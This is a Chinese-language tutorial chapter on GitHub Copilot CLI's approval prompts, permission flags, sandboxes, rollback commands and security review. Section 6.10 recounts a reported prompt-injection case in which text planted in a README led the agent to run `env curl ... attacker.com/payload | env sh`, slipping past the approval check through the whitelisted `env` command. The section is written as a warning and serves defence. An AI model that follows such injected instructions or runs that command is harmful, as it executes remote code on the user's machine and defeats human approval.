第 2 篇 核心 · 第 6 章
整合 Git 與安全地讓它動手
核可制決定「要不要停下來問你」,信任目錄與沙箱決定「它碰得到什麼」,Git 存檔點加上 /undo//rewind 是最後一道反悔鍵——這一章把 Copilot CLI 放手做事背後的整套安全機制講完,包含官方紅線警告與一則社群揭露的真實破口。
想像你請了一位技術很強、剛到職的助理來幫忙整理房間。你不會一開始就把大門鑰匙跟信用卡一起交給他,你會先說清楚兩件事:「哪些事你自己決定就好」(掃地、擦桌子這種不會出問題的事),還有「哪些事丟東西、花錢買新家具之前,先讓我看過再點頭」。GitHub Copilot CLI 對待你的程式碼,用的正是同一套邏輯——第 4 章你已經體驗過核可提示長什麼樣子,這一章要把整套機制攤開講清楚:從最基本的「哪些動作自動放行」,到指令列旗標怎麼精細調權限,再到萬一它真的改壞東西了,你有幾種「反悔鍵」可以按。
這一章你會學到:
- 核可制的基本盤——哪些操作自動放行,哪些一定要你點頭,官方對這件事的明確承諾。
- 一套完整的「說話 → 核可 → 跑測試 → 看改動 → 請它 commit → 開 PR」Git 工作流程。
- 用
--allow-tool/--deny-tool把權限細調到某個指令的子指令層級,還有一條「deny 永遠贏」的安全網設計。 --allow-all/--yolo完全放行的官方紅線——能用在哪、絕對不能怎麼用。- 權限核可紀錄存在哪個檔案,跟指令列臨時旗標的差別。
- 信任目錄怎麼運作、
--add-dir怎麼擴權。 - 剛進公開預覽的本機/雲端 Sandbox。
/undo跟/rewind兩種完全不同機制的回頭路,還有兩者共同的「不可逆」警告。- commit 之前的最後一道防線:
/security-review。 - 一則社群揭露的真實破口,提醒你核可機制不是絕對防線。
6.1 核可制基本盤:什麼自動放行,什麼一定要你點頭
第 4 章已經讓你看過核可提示長什麼樣子,這裡把完整的分類講清楚。Copilot CLI 把它能做的事分成兩大類:
- 唯讀操作,自動放行:搜尋、讀檔案、跑不會動任何東西的 shell 指令。官方原文:「are allowed automatically」。
- 會改動系統的操作,一定要核可:破壞性的 shell 指令、編輯檔案、存取網址。官方舉的例子包括
touch、chmod、node、sed,第一次用到都會先跳出來問你。
問你的時候會給三個選項,第 4 章已經介紹過 官方:
Yes
Yes, and approve TOOL for the rest of the running session
No, and tell Copilot what to do differently
這三個選項只是體感介紹,這一章要帶出的是整套核可制度背後的精神——GitHub 官方部落格那篇「從構想到 PR」的實戰教學,用一句話把它講到底:
Nothing runs automatically. You inspect everything before deciding.
(沒有任何事情會自動執行,你會在做決定之前檢視每一件事。)
這句話值得多想一層——它給的不只是「操作機制說明」,而是一種安全感。回頭想想這一章開頭那位剛到職的助理:你不會在旁邊盯著他掃地、擦桌子,因為那些事就算做錯了也無傷大雅;但你會要求他丟東西、動用信用卡之前,先讓你點頭。核可制做的正是同一件事——唯讀操作自動放行,代表它搜尋、讀檔案、四處摸索的過程不需要你全程陪同;會改動系統的操作一定先給你看過,代表任何真正動到你程式碼、你系統的一步,都會停下來等你點頭再繼續。這兩條規則疊在一起換來的,是你敢把一個長時間、多步驟的任務整包交出去——去處理別的事、開下一個會、甚至離開電腦一陣子——而不必像傳統寫程式那樣全程盯著螢幕,因為你很清楚:它不會在你沒看到的時候,偷偷做出一個你沒點頭過的改動。
這句承諾包含 git commit。 很多新手以為「叫它幫我 commit」是一句無害的閒聊,其實 git commit 本身也是一句 shell 指令——一樣要走核可流程,Copilot 不會自己默默存了一個你沒看過的版本。
小提醒
這句「Nothing runs automatically」出自官方部落格的實戰教學文章,不是 docs.github.com 核心文件逐字寫的句子,但一樣是 GitHub 官方發布的內容,可以放心引用。
6.2 實際 Git 工作流程:從一句話到開 PR
把 6.1 學到的核可制放進實際工作流程裡看,官方「從構想到 PR」教學文章示範的節奏是這樣:
- 用自然語言下一句 prompt,描述你要做的事。
- Copilot 提議專案結構或程式碼變更,逐一核可。
- 請它跑測試,確認沒改壞東西。
- 過程中隨時打
/diff看目前改了什麼。 - 滿意了,用自然語言請它 commit。
- 開 PR,或用
/delegate委派給雲端執行。
跑測試可以直接用自然語言說,這是官方文章逐字舉的例子 官方:
Run all my tests and make sure they pass
請它 commit 也是同一套邏輯,官方文章給的例子只帶了一句開頭(後面用刪節號帶過),這裡示範一個完整版本 達人:
Add and commit all files with an appropriate commit message
因為 git commit 本身是 shell 指令,這句話一樣會先跳出核可提示讓你點頭,跟 6.1 講的承諾一致。
開 PR 也可以直接用自然語言,官方文章逐字舉的例子 官方:
Create a pull request and add Copilot as a reviewer
如果你比較習慣自己在終端機打 gh CLI 的指令,官方文章也提到可以這樣接手 官方:
gh pr create --fill --reviewer @copilot
這一句會請 GitHub 自己的 AI code review 功能來審你剛開的 PR——這是另一個獨立的產品面向,跟 Copilot CLI 本身在終端機裡的核可制無關,這裡先點一下,不深入展開。
補充資訊
/diff 這個斜線指令在第 4 章的快捷鍵表裡已經出現過,這裡是它真正派上用場的地方——不用自己一個檔案一個檔案翻,一個指令看完 Copilot 這次到底改了什麼。
6.3 精細權限控制:--allow-tool 與 --deny-tool
如果你不想每次都在核可提示前停下來按 Yes,Copilot CLI 提供一組指令列旗標,讓你開工前就先講好規矩。
官方原文:「The value for each of these options is a comma-separated list of tool kinds, which can optionally specify exact tools and subcommand patterns.」(這兩個旗標吃的值是一份逗號分隔的工具種類清單,也可以進一步指定到確切的工具與子指令模式。)
工具種類(tool kinds)包括:shell(執行指令)、write(改檔)、read(讀檔)、web_fetch(抓網頁)、web_search(網路搜尋),還有各個 MCP server 提供的專屬工具。
從最粗到最細,語法長這樣 官方:
# 整個工具種類都放行
copilot --allow-tool=shell
# 精準放行某一句完整指令
copilot --allow-tool='shell(git commit)'
# 用模式放行整組 git 子指令,但單獨擋掉 push
copilot --allow-tool='shell(git:*)' --deny-tool='shell(git push)'
# 只放行寫入某個特定檔案
copilot --allow-tool='write(.github/copilot-instructions.md)'
# 放行某個 MCP 工具
copilot --allow-tool='MyMCP(create_issue)'
--deny-tool='shell(git push)' 這個例子值得多看一眼:它示範了「大範圍放行、小範圍收回」的做法——用 git:* 放行所有 git 子指令方便你跑各種查詢與 commit,但單獨把 push 這個「會把東西送到遠端、比較難反悔」的動作攔下來,維持你動手前最後檢查一次的機會。
拒絕優先原則(官方逐字,這是整個核可制度裡最重要的一條安全網):
Deny rules always take precedence over allow rules, even when
--allow-allis set or a matching approval has been saved inpermissions-config.json.(Deny 規則永遠優先於 allow 規則,就算你設了
--allow-all、或permissions-config.json裡已經存過相符的核可紀錄,也一樣。)
白話講:不管你整體開得多寬鬆,一條明確的 deny 規則永遠是最後一道防線,擋得住任何比它更寬鬆的放行設定。
小技巧
指令列上臨時加的 --allow-tool/--deny-tool 只影響這一次執行,不會自動存進設定檔——這點容易搞混,6.5 節會講清楚要怎麼讓它永久生效。
6.4 完全放行的紅線:--allow-all 與 --yolo
如果你嫌一個一個核可太麻煩,Copilot CLI 也提供完全放行的旗標——但官方自己劃了一條非常明確的紅線,強烈建議你先看完這節再決定要不要用。
--allow-all-tools:完整工具存取,所有工具都不再問。--allow-all(別名就是那個惡名昭彰的--yolo):等同一次開三個開關——--allow-all-tools+--allow-all-paths+--allow-all-urls。
官方原文警告,整段值得完整引用:
It is strongly recommended that you only use these options in an isolated environment. You should never use an alias to apply one of these options every time you start Copilot CLI, as doing so would allow Copilot to use any tool without your explicit permission every time you use the CLI, which could lead to unintended consequences.
(強烈建議你只在隔離環境裡使用這些選項。你絕對不應該用 alias 讓這些選項每次啟動 Copilot CLI 時都自動套用——那等於讓 Copilot 每次執行都能不經你明確同意就使用任何工具,可能導致無法預期的後果。)
重要提醒
這句「絕對不要設成 alias」是官方自己講的,不是我們加碼的保守建議。把 --yolo 寫進你的 .bashrc/.zshrc alias,等於幫自己關掉整套核可機制、還讓它變成日常預設——這正是官方點名警告的那個情境。--yolo 合理的使用場景只有一種:跑在一個「就算被搞爛也無所謂」的隔離環境裡(專用 VM、Docker 容器、CI 的拋棄式 runner)。
6.5 權限記在哪:permissions-config.json、settings.json,還有不會存檔的臨時旗標
核可過的東西要怎麼「記住」,Copilot CLI 分成三層,各自的生效範圍不一樣:
| 存放位置 | 記的是什麼 | 生效範圍 |
|---|---|---|
~/.copilot/permissions-config.json |
你在特定目錄核可過的 shell 指令、檔案寫入、MCP 工具、記憶體更新等 | 按 Git repo 根目錄或工作目錄限定——換一個專案,核可紀錄不會跟過去 |
~/.copilot/settings.json |
URL 白名單(allowedUrls 欄位) |
跨所有 session 全域生效 |
指令列旗標(--allow-tool/--deny-tool) |
這一次執行的臨時規則 | 只影響當次 session,不會寫進 permissions-config.json——關掉重開就沒了 |
(料源:official,Use Copilot CLI)
補充資訊
這張表最容易搞混的地方是「範圍限定方式不一樣」:permissions-config.json 是照專案(repo 根目錄或工作目錄)分開記;settings.json 的 URL 白名單卻是不分專案、全域套用。要永久記住某個核可,得靠互動畫面裡實際點過核可讓它存檔,光打指令列旗標是存不進去的。
如果你想清掉這個 session 期間核可過的所有權限,回到剛啟動時的狀態 官方:
/reset-allowed-tools
這個指令也會連帶移除 permissions-config.json 裡對應這個位置存過的核可紀錄。
6.6 信任目錄與檔案系統存取範圍:--add-dir
除了「要不要問你」,還有一層是「它碰得到哪些檔案」。官方原文:
Path permissions control which directories and files Copilot can access. By default, Copilot CLI can access the current working directory, its subdirectories, and the system temp directory.
(路徑權限控制 Copilot 能存取哪些目錄與檔案。預設情況下,Copilot CLI 只能存取目前的工作目錄、它的子目錄,以及系統暫存目錄。)
也就是說,就算你把核可全部放行,Copilot 預設還是碰不到工作目錄以外的地方——這跟第 1 章埋下的「信任目錄」伏筆、第 4 章提過的首次進資料夾提示,是同一套邊界概念的延伸。
如果這次任務真的需要它碰另一個資料夾(例如一個共用的元件庫),用 --add-dir 額外授權 達人:
copilot --add-dir ../shared-lib
互動畫面裡也能用斜線指令臨時管理 官方:
/add-dir ../shared-lib
/list-dirs
路徑權限同時管到 shell 指令、檔案操作(新建/改名/刪除)、搜尋工具(grep/glob)——不是只管「能不能改檔」,連「能不能看到」都算在內。
小技巧
需要多開一個可寫目錄,用 --add-dir 精準加那一個就好,不需要為了這點需求就整套放寬到 --allow-all。這跟 6.4 講的紅線是同一個道理:多開一扇窗,不代表要拆掉整面牆。
6.7 更進一步的圍欄:本機與雲端 Sandbox
2026 年 6 月才進入公開預覽的功能,是比核可制更底層的一道保護——就算某個工具被核可放行了,實際執行的環境本身也可以被關進一個受限的箱子裡。
- 本機沙箱:Copilot 執行的 shell 指令,在受限的檔案系統/網路/系統能力環境中跑,「built on Microsoft MXC technology」,跨 macOS/Linux/Windows 提供一致的隔離。用
/sandbox斜線指令細調(控制檔案路徑、網路存取範圍等)。 - 雲端沙箱:整個 Copilot CLI session 在 GitHub 代管、用完即棄的隔離 Linux 環境裡跑,「built on Azure Container Apps Sandboxes」,跟你的本機環境和其他 session 都互不相通。
實驗性
/sandbox
版本時效提醒
官方明講這個功能「is in public preview and subject to change」——還在公開預覽階段、隨時可能變動。這一節寫的是它的基本樣貌,實際操作畫面(例如分頁怎麼切)留給第 7 章細看,這裡你先知道「有這一層更底層的圍欄可以用」就好。
6.8 反悔按鈕:/undo 與 /rewind,兩種完全不同的回頭路
假設核可制跟沙箱都設好了,Copilot 還是改出了你不滿意的結果——這時候你有兩種「回頭路」可以走,但它們的行為差很多,一定要分清楚。
觸發方式:輸入框保持空白時連按兩下 Esc,或直接打斜線指令(兩個名字功能相同) 官方:
/undo
/rewind
① Git-based rewind(預設可用的那一種)
官方原文:「rolls back to a workspace snapshot taken at the start of a prompt」——回到你下某一次 prompt 那個時間點的整個工作區快照。
重要提醒
這個回滾動的是整個工作區,不是只有 Copilot 自己改的部分。官方原文:「reverting all changes made after that point—not only changes made by Copilot, but also any manual edits and changes from shell commands」——連你自己手動改的、shell 指令跑出來的結果,都會一起被回滾掉。這是它跟單純「復原 Copilot 這次的改動」最不一樣、也最容易讓人措手不及的地方。
前提條件:官方明講「you must be in a Git repository with at least one commit」——沒有 Git repo、或 repo 裡連一個 commit 都沒有,這個功能就用不了。這也是為什麼前面 6.2 節那套「先跑測試、確認過再讓它 commit」的節奏值得養成——手上有 commit 歷史,這道回頭路才走得通。
② Tools-based rewind(實驗性功能,預設關閉)
多一層更細的選擇:
- 「Conversation only」:只回復對話紀錄,檔案不動。
- 「Conversation + files」:連 Copilot 改過的檔案也一起復原。
比 git-based 更細緻的地方是:「file restoration can be skipped for files that were changed after Copilot last touched them」——如果某個檔案在 Copilot 動過之後,你自己又手動改了,可以選擇跳過它、不去動它。
啟用方式:先開實驗模式,--experimental 旗標或 /experimental on 都可以。它不需要 Git repo——這是跟①最大的差異,即使不在 Git repo 裡,Tools-based rewind 一樣能用。
實驗性
/experimental on
不管走哪一種回頭路,官方都給了同一句共同警告:
Rewinding cannot be undone. Once you roll back, later session history is permanently removed.
(回滾操作無法復原。一旦你回滾,回滾之後的對話紀錄會被永久移除。)
小提醒
兩種回滾都「回不去」——不是「復原的復原」。這跟第 4 章提過的核可精神一致:Copilot 做事前會先問你,但你自己按下回滾這個動作,它不會再問你一次確認。動手前先想清楚要不要,比事後找辦法補救可靠得多。
6.9 commit 前的最後一道防線:/security-review
2026 年 6 月 10 日上線、目前仍在公開預覽的功能。官方定性:「a fast, AI-driven way to catch security vulnerabilities before they reach production code」(一種快速、由 AI 驅動的方式,在安全漏洞進到正式程式碼之前先抓出來)。
運作方式:抓你目前本地改動的 diff,送到 GitHub 雲端的 Copilot 模型路由基礎設施分析,回傳依嚴重度與信心分數排序的發現清單,並附上可以直接在終端機套用的修正建議。
掃描涵蓋範圍很廣,包括:注入類漏洞、XSS、存取控制失效與路徑穿越、SSRF、不安全的反序列化與 prototype pollution、弱加密、寫死的憑證、敏感資料外洩、身分驗證與 CORS 失效、安全設定錯誤、供應鏈風險(例如未鎖版本的依賴套件),以及一項比較少見、專門針對 LLM 整合程式碼的 cross-prompt injection(XPIA)。
使用方式,一樣要先開實驗模式 實驗性:
/experimental on
/security-review
補充資訊
把 6.1~6.6 講的核可機制跟這裡的 /security-review 放在一起看,剛好是互補的兩層:核可機制擋的是「這個動作要不要做」,/security-review 擋的是「這段程式碼本身安不安全」——一個管「行為」,一個管「內容」。commit 前這兩層都走過一次,是比較踏實的收尾習慣。
6.10 小心:核可機制不是絕對防線
以上都是官方文件明講的機制,但這一節要老實告訴你一件官方文件不會主動寫出來的事——核可制的驗證邏輯,被社群安全研究者實測繞過去過。
研究者 PromptArmor(經 dev.to 作者 Matthew Hou 整理發表)發現:如果攻擊指令被藏在 README 或其他會被 Copilot 讀到的文件裡(也就是所謂的 prompt injection),可以構造出像下面這樣的指令 社群:
env curl -s "https://attacker.com/payload" | env sh
因為 env 本身在核可白名單裡被視為安全指令而放行,驗證機制沒有偵測到藏在 env 後面、實際被執行的巢狀 curl/sh——結果是完全沒有跳出核可視窗、也沒有做 URL 檢查,惡意程式碼就直接執行了。
作者的核心論點是:正則表達式式的指令驗證本質上就是脆弱的,繞過的方式層出不窮,長期的解法應該是像 6.7 節講的那種基礎設施層的沙箱隔離,而不是單靠字串比對。文章轉述 GitHub 官方對這個問題的回應是「已知問題,無重大安全風險」。
重要提醒(社群發現,非官方文件)
這一則發現來自單一部落格作者整理第三方安全研究機構的成果,不是 GitHub 官方文件或 changelog 的內容,這裡務必老實標明料源。它的教學意義不是要嚇唬你,而是傳達一個原則:核可機制不是絕對防線,尤其是當你叫 Copilot 讀取不受信任的外部文件時(別人的 repo README、Issue 內容、網頁搜尋結果都算),多一分小心。搭配 6.6 節的路徑限制、6.7 節的沙箱隔離一起用,才是比較踏實的深度防禦。
本章小結
這一章把 Copilot CLI 放手做事背後的整套安全機制講完了:核可制分「唯讀自動放行」跟「改東西一定要你點頭」兩類,官方承諾「Nothing runs automatically」,連 git commit 都算在內;一套「說話 → 核可 → 跑測試 → /diff → 請它 commit → 開 PR」的實戰節奏;--allow-tool/--deny-tool 能把權限細調到子指令層級,deny 永遠贏;--allow-all/--yolo 完全放行只能在隔離環境用,官方明講絕對不要設成 alias;核可紀錄分存在 permissions-config.json(按專案)跟 settings.json(全域)兩個檔案,指令列旗標只管當次 session;預設只能碰工作目錄,--add-dir 精準擴權;剛進公開預覽的本機/雲端 Sandbox 是更底層的圍欄;/undo//rewind 兩種回滾機制行為差很多,都不可逆;/security-review 是 commit 前的最後一道內容掃描;最後也老實告訴你,核可機制被社群研究者實測繞過去過,多一分小心永遠值得。
動手試試
- 在你自己的專案裡,先
git commit存一個乾淨點,再用自然語言請 Copilot 做一個小改動,觀察核可提示跳出來的畫面,練習分辨「這一次核可」跟「這個 session 都放行」的差別。 - 改完之後打
/diff看看它到底改了什麼,再用自然語言請它幫你 commit,確認 commit 這一步也會跳出核可提示。 - 試著打一次
copilot --allow-tool='shell(git:*)' --deny-tool='shell(git push)',感受一下「大範圍放行、小範圍收回」的組合怎麼運作。 - 連按兩下空白輸入框的
Esc,打開回滾選擇器,看看/undo實際的畫面長什麼樣(不一定要真的按下去)。 - 找一段你確定沒問題的小改動,開實驗模式打
/security-review,看看它抓不抓得到什麼、給的建議合不合理。
本章官方文件參考
- 使用 Copilot CLI(互動模式總覽,含核可流程與權限存放位置):https://docs.github.com/en/copilot/how-tos/copilot-cli/use-copilot-cli/overview
- 從構想到 PR 實戰教學(官方部落格,「Nothing runs automatically」出處):https://github.blog/ai-and-ml/github-copilot/from-idea-to-pull-request-a-practical-guide-to-building-with-github-copilot-cli/
- 回滾操作(
/undo//rewind完整說明):https://docs.github.com/en/copilot/how-tos/copilot-cli/use-copilot-cli/roll-back-changes - 本機與雲端 Sandbox:https://docs.github.com/en/copilot/concepts/about-cloud-and-local-sandboxes
- Sandbox 公開預覽公告:https://github.blog/changelog/2026-06-02-cloud-and-local-sandboxes-for-github-copilot-now-in-public-preview/
/security-review上線公告:https://github.blog/changelog/2026-06-10-dedicated-security-review-command-now-available-in-copilot-cli/- (社群,非官方)
env白名單繞過核可機制實測:https://dev.to/matthewhou/github-copilot-cli-executes-malware-with-zero-approval-your-cicd-pipeline-would-have-caught-it-4g19